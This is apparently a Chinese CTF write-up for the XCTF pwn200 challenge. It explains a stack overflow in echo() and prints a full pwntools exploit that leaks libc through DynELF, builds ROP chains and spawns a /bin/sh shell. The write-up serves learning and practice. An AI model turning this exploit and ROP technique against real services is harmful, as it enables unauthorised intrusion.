0x00: XCTF开赛了,只看了pwn,这次还比较有意思,有x86 x64 arm mips 多种cpu构架的pwn。自己只搞出了pwn200
0x01:基本信息:
x64 动态链接 有调试符号(怪不得是最简单的...)
开启的保护如图可以看到。
运行下,随便给点输入:
经过分析,发现问题出在echo()函数
而且这个bof的payload大概的格式:
payload = "A"*24+"BBBBBB"+"\x00\x00"
0x02:
思路就是 利用构造的ROP链先去 leak 远程服务器上libc里的system地址,然后利用ROP链再次把 "/bin/sh" 和system()地址 写入程序的.bss段,最后再次利用ROP链去执行 system("/bin/sh")
但是要注意:x64的函数调用 参数传递顺序是 RDI RSI RDX RCX R8 R9 之后的参数才用栈传递。
在IDA中看下
我们可以利用 pwntools的 去得到程序中write()和read()这些系统调用的got,用来构造ROP。这时候要使用的是 通用型的ropgads,因为源程序中并没有一些辅助性的东西。
在初始化libc的时候,这些指令可以为我们所用来构造ROP,设置好参数。
因为也没有给libc,所以要leak libc中的函数地址,pwntools的dynELF很好用。
0x03: exp 如下
#!/usr/bin/env python # coding=utf-8 # author:muhe # http://www.cnblogs.com/0xmuhe/ from pwn import * elf = ELF(‘./pwn200‘) p=remote(‘127.0.0.1‘,6666) #p = remote(‘180.76.178.48‘,6666) #p = process(‘./pwn200‘) addr1=0x40089A addr2=0x400880 main_addr = 0x4007CD ppppr=0x40089c bss_addr=0x601078 got_write = elf.got[‘write‘] got_read = elf.got[‘read‘] flag=True def leak(address): global flag junk = "A"*24 p1="" p1+=junk p1+=p64(ppppr) p1+=p64(addr1) p1+=p64(0)+p64(1)+p64(got_write)+p64(8)+p64(address)+p64(1) p1+=p64(addr2) p1+="\x00"*56 p1+=p64(main_addr) p.recvuntil(‘F\n‘) p.send(p1) #raw_input() if flag: data = p.recv(8) flag=False else: p.recv(0x1b) data = p.recv(8) print "%#x => %s" % (address, (data or ‘‘).encode(‘hex‘)) return data d = DynELF(leak, elf=ELF(‘./pwn200‘)) system_addr = d.lookup(‘system‘,‘libc‘) print "system_addr=" + hex(system_addr) #----------------write /bin/sh to .bss-----------------# junk = "A"*24 payload="" payload+=junk payload+=p64(ppppr) payload+=p64(addr1) payload+=p64(0)+p64(1)+p64(got_read)+p64(24)+p64(bss_addr)+p64(0) # addr_junk_rbx_rbp_r12_r13_r14_r15 #order:RDI RSI RDX RCX R8 R9 payload+=p64(addr2) payload+="\x00"*56 payload+=p64(main_addr) p.recvuntil(‘F\n‘) print "payload 1 ...." #raw_input() p.send(payload) sleep(1) p.send("AAAABBBB") p.send("/bin/sh\0") p.send(p64(system_addr)) #raw_input() print "sent .." #raw_input() sleep(1) #-----------------get shell --------------------------# junk = "A"*24 payload2="" payload2+=junk payload2+=p64(ppppr) payload2+=p64(addr1) payload2+=p64(0)+p64(1)+p64(bss_addr+16)+p64(1)+p64(1)+p64(bss_addr+8) # addr_junk_rbx_rbp_r12_r13_r14_r15 #order:RDI RSI RDX RCX R8 R9 payload2+=p64(addr2) payload2+="\x00"*56 payload2+=p64(main_addr) p.recvuntil(‘F\n‘) #raw_input() print "payload 2 ...." p.send(payload2) print "ok get shell" p.interactive()
打了一波本地
后来遇到个问题,exp打本地,或者是socket搭建起来的都可以打,但是远程服务器打不了。 - -# 尴尬
0x04:
算是学习了一波吧,有收获就是好的。
时间: 2024-10-31 11:42:40